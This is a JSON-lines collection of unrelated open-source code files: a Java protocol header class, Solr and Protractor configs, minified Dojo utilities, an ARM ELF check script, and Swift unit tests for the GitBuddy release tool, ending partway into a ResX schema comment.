private short version; // 版本号\n\n private short flag;\n\n private short serviceId; // SID\n\n private short commandId; // CID\n\n private short seqnum;\n\n private short reserved; // 保留,可用于如序列号等\n\n\n public Header() {\n\n length = 0;\n\n version = 0;\n\n serviceId = 0;\n\n commandId = 0;\n\n reserved = 0;\n\n flag = 0;\n\n seqnum = 0;\n\n }\n\n\n public short getFlag() {\n\n return flag;\n\n }\n\n\n public void setFlag(short flag) {\n\n this.flag = flag;\n\n }\n\n\n public short getSeqnum() {\n\n return seqnum;\n\n }\n\n\n public void setSeqnum(short seq) {\n\n this.seqnum = seq;\n\n }\n\n\n /**\n * 头文件的压包函数\n *\n * @return 数据包\n */\n\n public DataBuffer encode() {\n DataBuffer db = new DataBuffer(SysConstant.PROTOCOL_HEADER_LENGTH);\n db.writeInt(length);\n db.writeShort(version);\n db.writeShort(flag);\n db.writeShort(serviceId);\n db.writeShort(commandId);\n db.writeShort(seqnum);\n db.writeShort(reserved);\n return db;\n\n }\n\n\n /**\n * 头文件的解包函数\n *\n * @param buffer\n */\n\n public void decode(DataBuffer buffer) {\n\n if (null == buffer)\n return;\n try {\n length = buffer.readInt();\n version = buffer.readShort();\n flag = buffer.readShort();\n serviceId = buffer.readShort();\n commandId = buffer.readShort();\n seqnum = buffer.readShort();\n reserved = buffer.readShort();\n } catch (Exception e) {\n Logger.e(e.getMessage());\n }\n }\n\n\n @Override\n\n public String toString() {\n\n return \"Header [length=\" + length + \", version=\" + version + \", flag=\"\n\n + flag + \", serviceId=\" + serviceId + \", commandId=\"\n\n + commandId + \", seq=\" + seqnum + \", reserved=\" + reserved\n\n + \"]\";\n }\n\n public short getCommandId() {\n return commandId;\n }\n\n public void setCommandId(short commandID) {\n this.commandId = commandID;\n }\n\n public short getServiceId() {\n return serviceId;\n }\n\n public void setServiceId(short serviceID) {\n this.serviceId = serviceID;\n }\n\n public int getLength() {\n return length;\n }\n\n public void setLength(int length) {\n this.length = length;\n }\n\n public short getVersion() {\n return version;\n }\n\n public void setVersion(short version) {\n this.version = version;\n }\n\n public int getReserved() {\n return reserved;\n }\n\n public void setReserved(short reserved) {\n this.reserved = reserved;\n }\n}\n"} {"text": "<?xml version=\"1.0\" ?>\n\n<!--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements. See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License. You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n-->\n\n<!-- solrconfig-basic.xml plus a queryParser element -->\n<config>\n <luceneMatchVersion>${tests.luceneMatchVersion:LATEST}</luceneMatchVersion>\n <dataDir>${solr.data.dir:}</dataDir>\n <xi:include href=\"solrconfig.snippet.randomindexconfig.xml\" xmlns:xi=\"http://www.w3.org/2001/XInclude\"/>\n <directoryFactory name=\"DirectoryFactory\" class=\"${solr.directoryFactory:solr.RAMDirectoryFactory}\"/>\n <schemaFactory class=\"ClassicIndexSchemaFactory\"/>\n <requestHandler name=\"/select\" class=\"solr.SearchHandler\" />\n <queryParser name=\"testxmlparser\" class=\"XmlQParserPlugin\">\n <str name=\"HandyQuery\">org.apache.solr.search.HandyQueryBuilder</str>\n <str name=\"HelloQuery\">org.apache.solr.search.HelloQueryBuilder</str>\n <str name=\"GoodbyeQuery\">org.apache.solr.search.GoodbyeQueryBuilder</str>\n </queryParser>\n</config>\n"} {"text": "package Beverge;\n\n/**\n * 具体的浓缩咖啡\n * Created by jimersylee on 17-8-19.\n */\npublic class Espresso extends Beverage {\n\n public Espresso() {\n description=\"Espresso\";//description变量继承自Beverage\n }\n\n @Override\n public double cost() {\n return 1.99;\n }\n}\n"} {"text": "/**\n * Copyright (c) 2012, The University of Southampton and the individual contributors.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * * \tRedistributions of source code must retain the above copyright notice,\n * \tthis list of conditions and the following disclaimer.\n *\n * *\tRedistributions in binary form must reproduce the above copyright notice,\n * \tthis list of conditions and the following disclaimer in the documentation\n * \tand/or other materials provided with the distribution.\n *\n * *\tNeither the name of the University of Southampton nor the names of its\n * \tcontributors may be used to endorse or promote products derived from this\n * \tsoftware without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\npackage org.openimaj.twitter;\n\nimport java.io.IOException;\nimport java.util.Scanner;\n\n\n/**\n * {@link GeneralJSONTwitterRawText} extends {@link GeneralJSONTwitter} to provide an object that can\n * read raw strings. It can also then be used by USMFFStatus to\n * fill a USMFSStatus with the relevant twitter fields.\n *\n * @author Laurence Willmore (lgw1e10@ecs.soton.ac.uk), Sina Samangooei (ss@ecs.soton.ac.uk)\n *\n */\npublic class GeneralJSONTwitterRawText extends GeneralJSONTwitter {\n\t@Override\n\tpublic void readASCII(Scanner in) throws IOException {\n\t\tthis.text = in.nextLine();\n\t}\n\n\t@Override\n\tpublic GeneralJSON instanceFromString(String line) {\n\t\tGeneralJSONTwitterRawText ret = new GeneralJSONTwitterRawText();\n\t\tret.text = line;\n\t\treturn ret ;\n\t}\n}\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.gobblin.data.management.copy.replication;\n\nimport java.io.IOException;\n\nimport org.apache.hadoop.conf.Configuration;\nimport org.apache.hadoop.fs.FileSystem;\nimport org.apache.hadoop.fs.Path;\n\nimport org.apache.gobblin.dataset.FileSystemDataset;\nimport org.apache.gobblin.util.HadoopUtils;\n\n/**\n * {@link FileSystemDataset} wrapper class for {@link HadoopFsEndPoint}\n * @author mitu\n *\n */\npublic class HadoopFsEndPointDataset implements FileSystemDataset{\n\n private final HadoopFsEndPoint endPoint;\n private Path qualifiedDatasetRoot;\n\n public HadoopFsEndPointDataset(HadoopFsEndPoint endPoint){\n this.endPoint = endPoint;\n Configuration conf = HadoopUtils.newConfiguration();\n try {\n FileSystem fs = FileSystem.get(this.endPoint.getFsURI(), conf);\n qualifiedDatasetRoot = fs.makeQualified(this.endPoint.getDatasetPath());\n } catch (IOException e1) {\n // ignored\n qualifiedDatasetRoot = this.endPoint.getDatasetPath();\n }\n }\n\n @Override\n public String datasetURN() {\n return this.qualifiedDatasetRoot.toString();\n }\n\n @Override\n public Path datasetRoot() {\n return this.qualifiedDatasetRoot;\n }\n}\n"} {"text": "package org.datatransferproject.cloud.microsoft.cosmos;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.google.common.base.Preconditions;\n\n/** Configuration required to initialize the Azure job store */\nclass TableStoreConfiguration {\n private String accountName;\n private String accountKey;\n private String blobKey;\n private String partitionKey;\n private ObjectMapper mapper;\n\n public String getAccountName() {\n return accountName;\n }\n\n public String getAccountKey() {\n return accountKey;\n }\n\n public String getPartitionKey() {\n return partitionKey;\n }\n\n public String getBlobKey() {\n return blobKey;\n }\n\n public ObjectMapper getMapper() {\n return mapper;\n }\n\n public static class Builder {\n private final TableStoreConfiguration configuration;\n\n public static Builder newInstance() {\n return new Builder();\n }\n\n public Builder accountName(String accountName) {\n configuration.accountName = accountName;\n return this;\n }\n\n public Builder accountKey(String accountKey) {\n configuration.accountKey = accountKey;\n return this;\n }\n\n public Builder partitionKey(String partitionKey) {\n configuration.partitionKey = partitionKey;\n return this;\n }\n\n public Builder blobKey(String blobKey) {\n configuration.blobKey = blobKey;\n return this;\n }\n\n public Builder mapper(ObjectMapper mapper) {\n configuration.mapper = mapper;\n return this;\n }\n\n public TableStoreConfiguration build() {\n Preconditions.checkNotNull(configuration.accountName);\n Preconditions.checkNotNull(configuration.accountKey);\n Preconditions.checkNotNull(configuration.partitionKey);\n Preconditions.checkNotNull(configuration.blobKey);\n Preconditions.checkNotNull(configuration.mapper);\n return configuration;\n }\n\n private Builder() {\n configuration = new TableStoreConfiguration();\n }\n }\n}\n"} {"text": "/*\r\n\tCopyright (c) 2004-2011, The Dojo Foundation All Rights Reserved.\r\n\tAvailable via Academic Free License >= 2.1 OR the modified BSD license.\r\n\tsee: http://dojotoolkit.org/license for details\r\n*/\r\n\r\n//>>built\r\ndefine(\"dojo/_base/lang\",[\"./kernel\",\"../has\",\"../sniff\"],function(_1,_2){\r\n_2.add(\"bug-for-in-skips-shadowed\",function(){\r\nfor(var i in {toString:1}){\r\nreturn 0;\r\n}\r\nreturn 1;\r\n});\r\nvar _3=_2(\"bug-for-in-skips-shadowed\")?\"hasOwnProperty.valueOf.isPrototypeOf.propertyIsEnumerable.toLocaleString.toString.constructor\".split(\".\"):[],_4=_3.length,_5=function(_6,_7,_8){\r\nvar p,i=0,_9=_1.global;\r\nif(!_8){\r\nif(!_6.length){\r\nreturn _9;\r\n}else{\r\np=_6[i++];\r\ntry{\r\n_8=_1.scopeMap[p]&&_1.scopeMap[p][1];\r\n}\r\ncatch(e){\r\n}\r\n_8=_8||(p in _9?_9[p]:(_7?_9[p]={}:undefined));\r\n}\r\n}\r\nwhile(_8&&(p=_6[i++])){\r\n_8=(p in _8?_8[p]:(_7?_8[p]={}:undefined));\r\n}\r\nreturn _8;\r\n},_a=Object.prototype.toString,_b=function(_c,_d,_e){\r\nreturn (_e||[]).concat(Array.prototype.slice.call(_c,_d||0));\r\n},_f=/\\{([^\\}]+)\\}/g;\r\nvar _10={_extraNames:_3,_mixin:function(_11,_12,_13){\r\nvar _14,s,i,_15={};\r\nfor(_14 in _12){\r\ns=_12[_14];\r\nif(!(_14 in _11)||(_11[_14]!==s&&(!(_14 in _15)||_15[_14]!==s))){\r\n_11[_14]=_13?_13(s):s;\r\n}\r\n}\r\nif(_2(\"bug-for-in-skips-shadowed\")){\r\nif(_12){\r\nfor(i=0;i<_4;++i){\r\n_14=_3[i];\r\ns=_12[_14];\r\nif(!(_14 in _11)||(_11[_14]!==s&&(!(_14 in _15)||_15[_14]!==s))){\r\n_11[_14]=_13?_13(s):s;\r\n}\r\n}\r\n}\r\n}\r\nreturn _11;\r\n},mixin:function(_16,_17){\r\nif(!_16){\r\n_16={};\r\n}\r\nfor(var i=1,l=arguments.length;i<l;i++){\r\n_10._mixin(_16,arguments[i]);\r\n}\r\nreturn _16;\r\n},setObject:function(_18,_19,_1a){\r\nvar _1b=_18.split(\".\"),p=_1b.pop(),obj=_5(_1b,true,_1a);\r\nreturn obj&&p?(obj[p]=_19):undefined;\r\n},getObject:function(_1c,_1d,_1e){\r\nreturn _5(_1c.split(\".\"),_1d,_1e);\r\n},exists:function(_1f,obj){\r\nreturn _10.getObject(_1f,false,obj)!==undefined;\r\n},isString:function(it){\r\nreturn (typeof it==\"string\"||it instanceof String);\r\n},isArray:function(it){\r\nreturn it&&(it instanceof Array||typeof it==\"array\");\r\n},isFunction:function(it){\r\nreturn _a.call(it)===\"[object Function]\";\r\n},isObject:function(it){\r\nreturn it!==undefined&&(it===null||typeof it==\"object\"||_10.isArray(it)||_10.isFunction(it));\r\n},isArrayLike:function(it){\r\nreturn it&&it!==undefined&&!_10.isString(it)&&!_10.isFunction(it)&&!(it.tagName&&it.tagName.toLowerCase()==\"form\")&&(_10.isArray(it)||isFinite(it.length));\r\n},isAlien:function(it){\r\nreturn it&&!_10.isFunction(it)&&/\\{\\s*\\[native code\\]\\s*\\}/.test(String(it));\r\n},extend:function(_20,_21){\r\nfor(var i=1,l=arguments.length;i<l;i++){\r\n_10._mixin(_20.prototype,arguments[i]);\r\n}\r\nreturn _20;\r\n},_hitchArgs:function(_22,_23){\r\nvar pre=_10._toArray(arguments,2);\r\nvar _24=_10.isString(_23);\r\nreturn function(){\r\nvar _25=_10._toArray(arguments);\r\nvar f=_24?(_22||_1.global)[_23]:_23;\r\nreturn f&&f.apply(_22||this,pre.concat(_25));\r\n};\r\n},hitch:function(_26,_27){\r\nif(arguments.length>2){\r\nreturn _10._hitchArgs.apply(_1,arguments);\r\n}\r\nif(!_27){\r\n_27=_26;\r\n_26=null;\r\n}\r\nif(_10.isString(_27)){\r\n_26=_26||_1.global;\r\nif(!_26[_27]){\r\nthrow ([\"lang.hitch: scope[\\\"\",_27,\"\\\"] is null (scope=\\\"\",_26,\"\\\")\"].join(\"\"));\r\n}\r\nreturn function(){\r\nreturn _26[_27].apply(_26,arguments||[]);\r\n};\r\n}\r\nreturn !_26?_27:function(){\r\nreturn _27.apply(_26,arguments||[]);\r\n};\r\n},delegate:(function(){\r\nfunction TMP(){\r\n};\r\nreturn function(obj,_28){\r\nTMP.prototype=obj;\r\nvar tmp=new TMP();\r\nTMP.prototype=null;\r\nif(_28){\r\n_10._mixin(tmp,_28);\r\n}\r\nreturn tmp;\r\n};\r\n})(),_toArray:_2(\"ie\")?(function(){\r\nfunction _29(obj,_2a,_2b){\r\nvar arr=_2b||[];\r\nfor(var x=_2a||0;x<obj.length;x++){\r\narr.push(obj[x]);\r\n}\r\nreturn arr;\r\n};\r\nreturn function(obj){\r\nreturn ((obj.item)?_29:_b).apply(this,arguments);\r\n};\r\n})():_b,partial:function(_2c){\r\nvar arr=[null];\r\nreturn _10.hitch.apply(_1,arr.concat(_10._toArray(arguments)));\r\n},clone:function(src){\r\nif(!src||typeof src!=\"object\"||_10.isFunction(src)){\r\nreturn src;\r\n}\r\nif(src.nodeType&&\"cloneNode\" in src){\r\nreturn src.cloneNode(true);\r\n}\r\nif(src instanceof Date){\r\nreturn new Date(src.getTime());\r\n}\r\nif(src instanceof RegExp){\r\nreturn new RegExp(src);\r\n}\r\nvar r,i,l;\r\nif(_10.isArray(src)){\r\nr=[];\r\nfor(i=0,l=src.length;i<l;++i){\r\nif(i in src){\r\nr.push(_10.clone(src[i]));\r\n}\r\n}\r\n}else{\r\nr=src.constructor?new src.constructor():{};\r\n}\r\nreturn _10._mixin(r,src,_10.clone);\r\n},trim:String.prototype.trim?function(str){\r\nreturn str.trim();\r\n}:function(str){\r\nreturn str.replace(/^\\s\\s*/,\"\").replace(/\\s\\s*$/,\"\");\r\n},replace:function(_2d,map,_2e){\r\nreturn _2d.replace(_2e||_f,_10.isFunction(map)?map:function(_2f,k){\r\nreturn _10.getObject(k,false,map);\r\n});\r\n}};\r\n1&&_10.mixin(_1,_10);\r\nreturn _10;\r\n});\r\n"} {"text": "#!/bin/sh\n\nFILEPATH=$1\nORIG_FILENAME=$2\nORIG_UID=$3\nORIG_GID=$4\nORIG_MODE=$5\nORIG_SELINUXLABEL=$6\n\nINFO=$(file ${FILEPATH}|grep \"ELF 32-bit LSB executable, ARM, EABI5\")\n\nif [ -z \"$INFO\" ]; then\n echo -n ${ORIG_FILENAME} \"not an ARM32 elf file\"\nfi\n"} {"text": "/*\n * squareScene.h\n * sceneExample\n *\n * Created by zachary lieberman on 11/30/10.\n * Copyright 2010 __MyCompanyName__. All rights reserved.\n *\n */\n\n\n\n#ifndef _SQUARE_SCENE\n#define _SQUARE_SCENE\n\n\n#include \"ofMain.h\"\n#include \"baseScene.h\"\n\n\nclass squareScene : public baseScene {\n\t\n\t\n\tvoid setup();\n\tvoid update();\n\tvoid draw();\n\t\n\t\n};\n\n\n\n\n#endif\n\n\n"} {"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nexports.config = {\n allScriptsTimeout: 11000,\n\n specs: [\n 'e2e/*.js'\n ],\n\n capabilities: {\n 'browserName': 'chrome'\n },\n\n chromeOnly: true,\n\n baseUrl: 'http://localhost:8000',\n\n rootElement: 'body',\n\n onPrepare: function() {\n\n },\n\n\n framework: 'jasmine',\n\n jasmineNodeOpts: {\n onComplete: null,\n isVerbose: true,\n showColors: true,\n includeStackTrace: true,\n defaultTimeoutInterval: 30000\n }\n};\n\n"} {"text": "//\n// ReleaseProducerTests.swift\n// GitBuddyTests\n//\n// Created by Antoine van der Lee on 05/02/2020.\n// Copyright © 2020 WeTransfer. All rights reserved.\n//\n\nimport XCTest\n@testable import GitBuddyCore\nimport Mocker\nimport OctoKit\n\nfinal class ReleaseProducerTests: XCTestCase {\n\n override func setUp() {\n super.setUp()\n Octokit.protocolClasses = [MockingURLProtocol.self]\n mockGITAuthentication()\n ShellInjector.shell = MockedShell.self\n Mocker.mockPullRequests()\n Mocker.mockIssues()\n Mocker.mockForIssueNumber(39)\n Mocker.mockRelease()\n MockedShell.mockRelease(tag: \"1.0.1\")\n MockedShell.mock(.previousTag, value: \"1.0.0\")\n MockedShell.mockGITProject(organisation: \"WeTransfer\", repository: \"Diagnostics\")\n }\n\n override func tearDown() {\n super.tearDown()\n MockedShell.commandMocks.removeAll()\n Mocker.removeAll()\n }\n\n /// It should use the GitHub Access Token for setting up URLSession.\n func testAccessTokenConfiguration() throws {\n let token = \"username:79B02BE4-38D1-4E3D-9B41-4E0739761512\"\n mockGITAuthentication(token)\n try AssertExecuteCommand(command: \"gitbuddy release -s\")\n XCTAssertEqual(URLSessionInjector.urlSession.configuration.httpAdditionalHeaders?[\"Authorization\"] as? String, \"Basic dXNlcm5hbWU6NzlCMDJCRTQtMzhEMS00RTNELTlCNDEtNEUwNzM5NzYxNTEy\")\n }\n\n /// It should correctly output the release URL.\n func testReleaseOutput() throws {\n try AssertExecuteCommand(command: \"gitbuddy release -s\", expected: \"https://github.com/WeTransfer/ChangelogProducer/releases/tag/1.0.1\")\n }\n\n /// It should set the parameters correctly.\n func testPostBodyArguments() throws {\n let mockExpectation = expectation(description: \"Mocks should be called\")\n var mock = Mocker.mockRelease()\n mock.onRequest = { _, parameters in\n guard let parameters = try? XCTUnwrap(parameters) else { return }\n XCTAssertEqual(parameters[\"prerelease\"] as? Bool, false)\n XCTAssertEqual(parameters[\"draft\"] as? Bool, false)\n XCTAssertEqual(parameters[\"tag_name\"] as? String, \"1.0.1\")\n XCTAssertEqual(parameters[\"name\"] as? String, \"1.0.1\")\n XCTAssertEqual(parameters[\"body\"] as? String, \"\"\"\n - Add charset utf-8 to html head \\\n ([#50](https://github.com/WeTransfer/Diagnostics/pull/50)) via [@AvdLee](https://github.com/AvdLee)\n - Get warning for file 'style.css' after building \\\n ([#39](https://github.com/WeTransfer/Diagnostics/issues/39)) via [@AvdLee](https://github.com/AvdLee)\n \"\"\")\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should update the changelog file if the argument is set.\n func testChangelogUpdating() throws {\n let existingChangelog = \"\"\"\n ### 1.0.0\n - Initial release\n \"\"\"\n let tempFileURL = URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true).appendingPathComponent(\"Changelog.md\")\n XCTAssertTrue(FileManager.default.createFile(atPath: tempFileURL.path, contents: Data(existingChangelog.utf8), attributes: nil))\n try AssertExecuteCommand(command: \"gitbuddy release -s -c \\(tempFileURL.path)\")\n let updatedChangelogContents = try String(contentsOfFile: tempFileURL.path)\n\n XCTAssertEqual(updatedChangelogContents, \"\"\"\n ### 1.0.1\n - Add charset utf-8 to html head \\\n ([#50](https://github.com/WeTransfer/Diagnostics/pull/50)) via [@AvdLee](https://github.com/AvdLee)\n - Get warning for file \\'style.css\\' after building \\\n ([#39](https://github.com/WeTransfer/Diagnostics/issues/39)) via [@AvdLee](https://github.com/AvdLee)\n\n \\(existingChangelog)\n \"\"\")\n }\n\n func testSectionedChangelogUpdating() throws {\n let existingChangelog = \"\"\"\n ### 1.0.0\n - Initial release\n \"\"\"\n let tempFileURL = URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true).appendingPathComponent(\"Changelog.md\")\n XCTAssertTrue(FileManager.default.createFile(atPath: tempFileURL.path, contents: Data(existingChangelog.utf8), attributes: nil))\n try AssertExecuteCommand(command: \"gitbuddy release --sections -s -c \\(tempFileURL.path)\")\n\n let updatedChangelogContents = try String(contentsOfFile: tempFileURL.path)\n\n XCTAssertEqual(updatedChangelogContents, \"\"\"\n ### 1.0.1\n **Closed issues:**\n\n - Include device product names ([#60](https://github.com/WeTransfer/Diagnostics/issues/60))\n - Change the order of reported sessions ([#54](https://github.com/WeTransfer/Diagnostics/issues/54))\n - Encode Logging for HTML so object descriptions are visible ([#51](https://github.com/WeTransfer/Diagnostics/issues/51))\n - Chinese characters display incorrectly in HTML output in Safari ([#48](https://github.com/WeTransfer/Diagnostics/issues/48))\n - Get warning for file 'style.css' after building ([#39](https://github.com/WeTransfer/Diagnostics/issues/39))\n - Crash happening when there is no space left on the device ([#37](https://github.com/WeTransfer/Diagnostics/issues/37))\n - Add support for users without the Apple Mail app ([#36](https://github.com/WeTransfer/Diagnostics/issues/36))\n - Support for Apple Watch App Logs ([#33](https://github.com/WeTransfer/Diagnostics/issues/33))\n - Support different platforms/APIs ([#30](https://github.com/WeTransfer/Diagnostics/issues/30))\n - Strongly typed HTML would be nice ([#6](https://github.com/WeTransfer/Diagnostics/issues/6))\n\n **Merged pull requests:**\n\n - Add charset utf-8 to html head ([#50](https://github.com/WeTransfer/Diagnostics/pull/50)) via [@AvdLee](https://github.com/AvdLee)\n\n \\(existingChangelog)\n \"\"\")\n }\n\n /// It should comment on related pull requests and issues.\n func testPullRequestIssueCommenting() throws {\n let mocksExpectations = expectation(description: \"Mocks should be called\")\n mocksExpectations.expectedFulfillmentCount = 3\n let mocks = [\n Mocker.mockForCommentingOn(issueNumber: 39),\n Mocker.mockForCommentingOn(issueNumber: 49),\n Mocker.mockForCommentingOn(issueNumber: 50)\n ]\n mocks.forEach { mock in\n var mock = mock\n mock.completion = {\n mocksExpectations.fulfill()\n }\n mock.register()\n }\n try AssertExecuteCommand(command: \"gitbuddy release\")\n wait(for: [mocksExpectations], timeout: 2.0)\n }\n\n /// It should not post comments if --skipComments is passed as an argument.\n func testSkippingComments() throws {\n let mockExpectation = expectation(description: \"Mock should not be called\")\n mockExpectation.isInverted = true\n var mock = Mocker.mockForCommentingOn(issueNumber: 39)\n mock.completion = {\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should use the prerelease setting.\n func testPrerelease() throws {\n let mockExpectation = expectation(description: \"Mocks should be called\")\n var mock = Mocker.mockRelease()\n mock.onRequest = { _, parameters in\n guard let parameters = try? XCTUnwrap(parameters) else { return }\n XCTAssertTrue(parameters[\"prerelease\"] as? Bool == true)\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -p\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should use the target commitish setting.\n func testTargetCommitish() throws {\n let mockExpectation = expectation(description: \"Mocks should be called\")\n var mock = Mocker.mockRelease()\n mock.onRequest = { _, parameters in\n guard let parameters = try? XCTUnwrap(parameters) else { return }\n XCTAssertEqual(parameters[\"target_commitish\"] as? String, \"develop\")\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -t develop\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should use the tag name setting.\n func testTagName() throws {\n let mockExpectation = expectation(description: \"Mocks should be called\")\n let tagName = \"1.0.0\"\n var mock = Mocker.mockRelease()\n mock.onRequest = { _, parameters in\n guard let parameters = try? XCTUnwrap(parameters) else { return }\n XCTAssertEqual(parameters[\"tag_name\"] as? String, tagName)\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -n \\(tagName)\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should use the fallback date if the tag does not yet exist.\n func testFallbackDate() throws {\n let mockExpectation = expectation(description: \"Mocks should be called\")\n let tagName = \"3.0.0\"\n var mock = Mocker.mockRelease()\n mock.onRequest = { _, parameters in\n guard let parameters = try? XCTUnwrap(parameters) else { return }\n XCTAssertEqual(parameters[\"tag_name\"] as? String, tagName)\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -n \\(tagName)\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should not contain changes that are merged into the target branch after the creation date of the tag we're using.\n func testIncludedChangesForUsedTagName() throws {\n let existingChangelog = \"\"\"\n ### 1.0.0\n - Initial release\n \"\"\"\n let tagName = \"2.0.0\"\n\n let dateFormatter = DateFormatter()\n dateFormatter.dateFormat = \"yyyy-MM-dd\"\n let date = dateFormatter.date(from: \"2020-01-05\")!\n MockedShell.mockRelease(tag: \"2.0.0\", date: date)\n\n let tempFileURL = URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true).appendingPathComponent(\"Changelog.md\")\n XCTAssertTrue(FileManager.default.createFile(atPath: tempFileURL.path, contents: Data(existingChangelog.utf8), attributes: nil))\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -n \\(tagName) -c \\(tempFileURL.path)\")\n\n let updatedChangelogContents = try String(contentsOfFile: tempFileURL.path)\n\n // Merged at: 2020-01-06 - Add charset utf-8 to html head\n // Closed at: 2020-01-03 - Get warning for file\n // Setting the tag date to 2020-01-05 should remove the Add charset\n\n XCTAssertEqual(updatedChangelogContents, \"\"\"\n ### 2.0.0\n - Get warning for file \\'style.css\\' after building \\\n ([#39](https://github.com/WeTransfer/Diagnostics/issues/39)) via [@AvdLee](https://github.com/AvdLee)\n\n \\(existingChangelog)\n \"\"\")\n }\n\n /// It should use the release title setting.\n func testReleaseTitle() throws {\n let mockExpectation = expectation(description: \"Mocks should be called\")\n let title = UUID().uuidString\n var mock = Mocker.mockRelease()\n mock.onRequest = { _, parameters in\n guard let parameters = try? XCTUnwrap(parameters) else { return }\n XCTAssertEqual(parameters[\"name\"] as? String, title)\n mockExpectation.fulfill()\n }\n mock.register()\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -r \\(title)\")\n wait(for: [mockExpectation], timeout: 0.3)\n }\n\n /// It should use the changelog settings.\n func testChangelogSettings() throws {\n let lastReleaseTag = \"2.0.1\"\n let dateFormatter = DateFormatter()\n dateFormatter.dateFormat = \"yyyy-MM-dd\"\n let date = dateFormatter.date(from: \"2020-01-03\")!\n MockedShell.mockRelease(tag: lastReleaseTag, date: date)\n\n let baseBranch = UUID().uuidString\n Mocker.mockPullRequests(baseBranch: baseBranch)\n\n try AssertExecuteCommand(command: \"gitbuddy release -s -l \\(lastReleaseTag) -b \\(baseBranch)\")\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <!-- \n Microsoft ResX Schema \n \n Version 2.0\n \n The primary goals of this format is to allow a simple XML format \n that is mostly human readable. The generation and parsing of the \n various data types are done through the TypeConverter classes \n associated with the data types.\n \n Example:\n \n ... ado.net/XML headers & schema ...\n <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n <resheader name=\"version\">2.0</resheader>\n <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n <value>[base64 mime encoded serialized .NET Framework object]</value>\n </data>\n <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n <comment>This is a comment</comment>\n </data>\n \n There are any 